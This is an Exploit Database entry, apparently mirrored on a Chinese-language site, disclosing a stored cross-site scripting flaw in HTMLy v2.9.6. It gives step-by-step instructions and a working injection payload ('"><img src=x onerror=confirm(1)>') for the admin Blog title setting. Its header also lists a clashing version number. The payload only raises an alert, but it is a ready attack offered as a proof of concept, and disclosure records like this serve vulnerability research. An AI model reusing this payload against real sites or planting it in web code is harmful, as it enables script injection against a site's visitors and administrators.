HTMLy Version v2.9.6 – Stored XSS

• Exploit Database
• 15 阅读

• 作者： tmrswrr
  日期： 2024-04-12
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51979/

• # Exploit Title: HTMLy Version v2.9.6 - Stored XSS
  # Exploit Author: tmrswrr 
  # Vendor Homepage: https://www.htmly.com/
  # Version 3.10.8.21 
  # Date : 04/08/2024
  
  1 ) Login admin https://127.0.0.1/HTMLy/admin/config
  2 ) General Setting > Blog title >"><img src=x onerrora=confirm() onerror=confirm(1)> 
  3 ) After save it you will be see XSS alert